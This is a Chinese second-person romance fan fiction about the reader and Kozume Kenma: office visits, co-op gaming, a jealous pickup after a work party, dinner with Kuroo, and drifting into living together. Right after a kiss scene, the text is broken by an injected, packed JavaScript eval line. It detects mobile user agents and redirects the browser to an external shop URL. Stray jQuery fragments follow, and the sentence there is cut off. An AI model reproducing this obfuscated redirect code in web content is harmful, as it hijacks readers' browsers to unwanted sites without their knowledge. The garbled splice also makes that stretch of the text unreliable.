后来的事情，说起来很简单。
你没有去研磨的公司上班。
你去了YGG，做了你一直想做的关卡设计，公司很好，同事很好，工作内容也让你每天都充满动力。
下班后去他公司等他。
他的办公室在涩谷的高层写字楼里，落地窗外是东京的夜景，你坐在他给你准备的位置上——朝南的窗边，下午的阳光确实会照进来。
桌上有你习惯喝的热可可，还有一包没有拆封的零食。
周末在他家过，他把客房改成了你的专属房间。
你喜欢的香薰、习惯用的枕头高度、常看的几本书——全都安排好了。
但你基本都睡在他卧室。
每次你在客房看完书准备睡的时候，研磨就会出现在门口，手里拿着两个手柄。
“新游戏，”他说，“双人模式。”
然后你们就打游戏到凌晨，打着打着你就困了，手柄掉在床上，你就地一歪，就睡着了。
第二天醒来，你总是不记得自己是怎么从“坐着打游戏”变成“躺在他床上”的，但研磨的手臂总是搭在你腰上，呼吸均匀而安稳。
你们的聊天记录很长——虽然内容乏善可陈。
“到了”“吃了”“今天冷”“记得带伞”“新关卡死了二十次”“哈哈哈哈哈哈”“帮我骂策划”“策划就是我”“……哦”。
没有人规定要发什么，但消息每天都有，不需要刻意开始，也不会突然停止。
……
你推开公司大门的时候，东京的傍晚已经亮了灯。
YGG的办公楼在代代木公园附近，秋天的时候窗外能看见银杏树的树冠，金黄色一片，你在这里上班三个月了，每天走出电梯时还是会忍不住想——我真的在这里工作了。
但你今天没有时间欣赏银杏。
因为某人在等你。
研磨的公司离YGG有四十分钟车程——不堵车的情况下，一般是他来接你，偶尔你自己去。
到达他公司楼下时，天已经全黑了，大楼的保安认识你，笑着帮你刷卡开门，前台小姐姐也认识你，说“孤爪社长还在开会，您直接去办公室等吧”。
办公室不大，但布置得很舒服。
一张宽大的办公桌，一台显示器、一个键盘、一个茶杯、一个相框。
相框里是你和他的合照。
高中毕业那天，你们在学校门口拍的。
你笑着比耶，他面无表情，但仔细看会发现他的嘴角有一个很浅的弧度。
照片是研磨放的，你第一次看见的时候愣了一下，他当时在旁边说：“不好看吗？”
“好看。”你说，“只是没想到你还会洗照片。”
“不是洗的，是从电脑上截图的。”
“……那更意外了。”
办公桌旁边，有一张稍小的桌子，靠着窗户，桌上放着一盏暖色的台灯、一盆小小的仙人掌、和一盒你喜欢的薄荷糖。
你在那张椅子上坐下，喝了口热可可，撕开零食，打开手机。
十分钟后，门开了。
研磨走进来。
他穿着深灰色的西装——你很少见他穿西装，虽然他是社长。
大部分时候他来接你时穿着卫衣，头发乱糟糟的，像是刚从沙发上爬起来。
今天他开了一整天的会，西装外套扣子没系，衬衫领口松开一颗，领带扯歪了。
他在你面前站定。
你还没来得及说“辛苦了”，他已经弯下腰，把脸埋进你颈窝，手臂环住你的肩膀，整个人压在你身上。
“……累。”他的声音从你的皮肤底下传来，闷闷的，带着一点鼻音。
你伸手拍拍他的背，像安抚一只大型猫科动物。
“开会开很久？”
“嗯，从下午两点。”
“吃饭了吗？”
“……没有。”
“那快去吃饭。”
“不要，再抱一会儿。”
他的手臂收紧了，你能感觉到他呼吸的节奏从急促变得平缓，身体的重量越来越沉。
你怀疑他是不是睡着了，但他没有，他只是把脸埋在你颈窝里，偶尔蹭一下，头发蹭着你的下巴，痒痒的，有点扎。
你继续拍他的背，一下，两下，三下。
“今天的会，”研磨忽然开口，声音还是很闷，“决定了下一款游戏的方向。”
“嗯？”
“做开放世界。”
“你不是一直想做吗？”
“嗯，但之前没想好世界观。”
“现在想好了？”
他沉默了一下：“想好了，有很多想放进去的东西。”
你等着他继续说。
他把脸从你颈窝里抬起来一点，金色的眼睛近在咫尺。
“想放一只猫进去。”
“猫？”
“嗯，玩家走到某个角落，会发现一只猫。”
他说，“那只猫不会说话，不会跟着玩家走，大部分时候只是待在某个地方晒太阳，但是玩家每次路过，猫都在。”
“……然后呢？”
“没有然后。”他说，“就是一直在那里。”
你不知道为什么，觉得他在说的不是游戏。
你没有说话，只是伸手摸了摸他的头发，他眯起眼睛，像一只被挠下巴的猫。
“先去吃饭。”你说，“饿了。”
“嗯。”
他站起来的时候，顺手拿走了你桌上的零食——没吃完的那半包。
“我的。”你说。
“饿了。”
你看着他理直气壮地吃你的零食，忍不住笑了。
“笑什么。”他嘴里含着零食，声音含混不清。
“没什么。”你说，“走吧，社长大人，吃饭去。”
他握住你的手，十指相扣。
“嗯。”
……
周末的早晨，你在研磨的床上醒来。
你至今不确定自己是“搬过来”了，还是“来暂住”了。
你的东西已经占据了他半个衣柜，梳妆台上摆满了你的瓶瓶罐罐，冰箱里有一半空间是你的酸奶和蔬菜。
但你名义上还是住在自己的公寓里，虽然你已经连续两周没回去了。
身边的床铺是空的，但还有余温。
你翻了个身，继续赖床。
十分钟后，研磨端着一个托盘走进来，上面放着两杯咖啡和一盘吐司，他把托盘放在床头柜上，然后回到床上，钻进被窝。
“早。”他说。
“早。”你闭着眼睛回答。
“咖啡要凉了。”
“再睡五分钟。”
“你每次都这么说。”
“学你的。”
他在你旁边躺下，没有催你起床，你感觉到他的手指在你头发间穿过，轻轻的，慢慢的。
你往他那边蹭了蹭，他把手臂伸过来，让你枕着。
又过了“五分钟”（实际是二十分钟），你们终于起床了。
吃完早餐，研磨坐到电视机前，拿起游戏手柄。
“今天玩什么？”你问。
“新买的。”他递给你一个手柄，“合作通关。”
“合作？你居然愿意和我合作？”
他看了你一眼：“不愿意也没办法，别人太菜，你至少能听指挥。”
“……谢谢夸奖。”
游戏开始了。
研磨选的游戏不简单，你们被困在第一个Boss关，死了七次，七次都是你死的。
你的角色倒在地上，研磨的角色站在旁边，按了几圈原地踏步等你复活。
第八次，你终于把Boss打到了半血，然后你又死了。
“……”研磨放下手柄，看着屏幕上的“GAMEOVER”。
你把手柄也放下了。
“不玩了。”
“最后一次。”
“不要，你太厉害了，显得我很菜。”
“但这是我的号，你死了七次，我的胜率都掉了。”
“那你别复活我啊。”
他没有说话，只是拿起手柄，继续开了一局。
这次他调整了策略——不再一个人冲在前面，而是跟在你后面，你打怪的时候他在旁边接应，你掉血的时候他帮你挡。
你们过了。
Boss倒下的时候，屏幕上跳出通关奖励，研磨放下手柄，转头看着你。
“你看，能过。”
“……是你带得好。”
“是你活着。”他说，“你不死，就能过。”
后来你们又玩了一会儿，换了一个游戏，这次是竞技类的，你们不是队友，是对手。
研磨赢了，毫无悬念地赢了，他把你的角色按在地上摩擦，在游戏里把你打得毫无还手之力。
你把手柄扔在沙发上。
“不玩了。”
他接过去，把游戏退回了主界面。
“干嘛？”你问。
“你不玩了，我也不想玩了。”
“那你陪我干别的事？”
他想了想。
“充电。”
然后他躺下来，把头枕在你的腿上，闭上了眼睛。
“研磨，这不是充电，这是睡觉……”
“是充电。”他说，眼睛还是闭着，“效率很高。”
……
周五的晚上。
公司聚餐，你喝了酒，不多，两杯梅酒。
你不胜酒力，两杯已经让你的脸烧起来了，同事们在KTV唱歌，你坐在角落，手机放在包里，没听见研磨发来的消息。
“几点结束？”
“我去接你。”
“？”
“在？”
“……”
你看到的时候，已经是两个小时以后了。
从KTV出来，夜风吹过来，你的酒醒了一半，掏出手机，屏幕上密密麻麻全是他的消息，最后一条是：“我去找你。”
你还没来得及回复，就看见了他。
他站在门口的路灯下，穿着黑色卫衣，帽子没戴，头发被风吹得有点乱。
路灯的光从上面落下来，在他脸上投下明暗交界，他低着头在看手机，屏幕的光照亮他的脸。
你走近了几步。
他抬起头。
你停下脚步。
他的表情你看不太清楚，但他的眼睛你看得很清楚，金色的，在路灯下显得很深。
“……研磨。”
他没有说话，走过来，在你面前停下。
你看清他的脸了，没有表情，但嘴唇抿成一条线。
“上车。”
他转身走了，你跟在后面。
车里很安静。
他开车，你看窗外，你偷偷看了他好几次，他的表情没有任何变化，手指握着方向盘，指节有点发白。
路过你家他没有停车的意思。
“研磨，我家到了。”
“嗯。”
车继续开。
“研磨？”
“去我家。”
“……为什么？”
他没有回答，你看着他，他目视前方，侧脸的线条在路灯的明灭中忽隐忽现。
你不再问了。
到了他的公寓，他停好车，你们一起上楼，电梯里也安静，他看着楼层数字变化，你看着他的侧脸。
进了门，他换了鞋，走进客厅，在沙发上坐下，你也换了鞋，走到他面前。
“研磨，你生气了？”
他没有说话，只是伸出手，握住你的手腕，把你拉向他，你失去平衡，跌坐在他腿上。
然后他吻了你。
不是平时那种轻轻的、试探的吻，带着力道、带着温度。
他的嘴唇压着你的，舌尖轻轻撬开你的齿列，手指插进你的发间，固定着你的后脑，你被吻得喘不上气，手抓着他卫衣的领口，指节发白。
他松开你的时候，你们都在喘。
他的额头抵着你的，呼吸全打在你脸上，他的眼睛离你太近了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795386|210507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“下次，不许忘。”
你点头，嘴唇还麻着。
他的表情终于软下来，伸手拇指轻轻抚过你的嘴唇，那里有一道浅浅的齿痕，是刚才他磕到的。
“疼吗？”他问。
“……一点点。”
他的手指停在你嘴唇上，没有再动，你们就这样对视着，睫毛能碰到睫毛。
然后他凑过来，这次是很轻的吻，落在你的唇上，像羽毛拂过，一下，又一下。
“这是什么？”你小声问。
“奖励。”他说，嘴唇贴着你的，“你回来了。”
……
黑尾铁朗约你们吃饭，在一家烤肉店，他选的。
你到的时候，研磨已经坐在位子上了，你在他旁边坐下，黑尾坐在对面。
“好久不见。”黑尾笑着说，“听说你去YGG了？”
“嗯，快半年了。”
“厉害啊，YGG的关卡设计部门，那可是——”
研磨忽然开口，夹起一片肉放在烤盘上，“来，吃。”
黑尾看着烤肉，再看着研磨，表情变得微妙。
“……你什么时候学会给人夹菜了？”
研磨没回答，继续翻烤肉。
黑尾转向你：“他以前和你在一起也这样？”
你想了想：“他一直这样。”
黑尾沉默了一会儿，转向你：“你知道我等这一天等了多久吗？”
你愣了一下。
“国中的时候，”黑尾说，“有一次训练完，我和他坐在体育馆门口，我问他是不是喜欢那个青梅，他说‘嗯’。”
你的心跳了一下。
“我说那你怎么不表白，他说——”
“不用，她懂。”研磨接过话头，语气平淡。
黑尾指着研磨：“对！就是这个！我当时就无语了！人家女孩子凭什么懂啊！你不说谁懂！”
研磨放下饮料：“她确实懂。”
黑尾扶额：“懂个屁！你们这种闷骚的默契真是够了！”
……
周末的早晨，你在研磨家醒来。
你还在半梦半醒之间，感觉到腰上有什么东西压着——研磨的手臂。
他还没醒，呼吸平稳，睫毛微微颤动，嘴唇微微张开一点，睡着的时候，他的表情比平时更柔软，像一只卸下所有防备的猫。
你试图起身，他收紧手臂。
“……再睡五分钟。”
“你每次都这么说。”
他没有睁眼：“因为每次你都信。”
你躺回去，侧过身看着他，他睁开眼睛。金色的瞳孔在晨光中显得很浅，像透明的琥珀。
“在看什么？”
“看你。”
他眨了一下眼睛，然后伸出手把你拉近，额头抵着你的额头。
“你搬过来。”
“为什么？”
“因为周末来的话，周末结束你就要走。”他说，“我不喜欢。”
“研磨，我还没准备好——”
“准备什么？你的东西都在这里了，你只是缺一个心理上的‘搬’。”
“而且，”他把你拉得更近，鼻尖抵着你的鼻尖，“我发现自己比想象中还要黏人，可能没办法当一个合格的猫了。”
你笑了：“那你想当什么？”
他想了想，金色的眼睛在晨光中看起来格外认真。
“你的，什么都行。”
你伸手，轻轻摸了摸他的头发。
“好。”
“……好什么？”
“你当我的。”你说，“猫也好，什么都好，反正是我的。”
你没有搬去和他同居。
想保持一点独立的空间，你是这样说的，研磨没有反对，他只是“嗯”了一声，然后继续在你家放东西。
等到你发现的时候，你的公寓已经变成了他的第二个家。
玄关多了一双他的运动鞋，鞋柜里多了一排他的袜子，衣架上挂着他的外套。
卫生间里有两支牙刷，毛巾架上挂着两条毛巾，冰箱里塞满了他爱喝的饮料和你爱吃的零食。
你打开衣柜，发现一半的空间已经被他的衣服占领了。
他不知什么时候搬过来的，也许是每次来的时候带一点，也许是某天趁你不在的时候一次性搬的。
有一天，你在厨房做饭。
你听见玄关传来换鞋的声音，然后是熟悉的脚步声。
“在做饭？”研磨的声音从背后传来。
“嗯，咖喱，你喜欢的。”
他没有回答，你感觉到他从背后抱住了你，下巴搁在你的肩膀上，手臂环着你的腰。
你继续切菜，他就那样抱着你，看着你切菜。
“别切到手。”他说。
“不会。”
“上次你就切到了。”
“那是意外。”
“是你不专心。”
“是你在旁边闹。”
“我没闹。”
“你现在就在闹。”
他没有反驳，只是收紧了手臂。
锅里在炖咖喱，空气里弥漫着香料的香气，窗外的夕阳正在沉入地平线，天空被染成温柔的橘色。
“我的饲养员。”他说，声音闷在你的肩窝里。
你笑了：“谁是饲养员？”
“你啊。”他说，“从小到大，都是你。”
“谁养谁还不一定呢。”你说。
他没有反驳，只是把脸埋进你的颈窝，声音轻得像叹息，“没关系，互相养。”
夕阳沉入地平线，天空从橘色变成粉色，再变成紫色，窗外有鸟叫声，有远处公园里孩子们的笑声，有风吹过树叶的沙沙声。
你想起很久以前，研磨问过你一个问题。
“你知道猫为什么喜欢待在你身边吗？”
你摇头。
他说：“因为猫认定你是它的人。”
你当时以为他在说猫。
现在你明白了。
他从一开始，就没在说猫。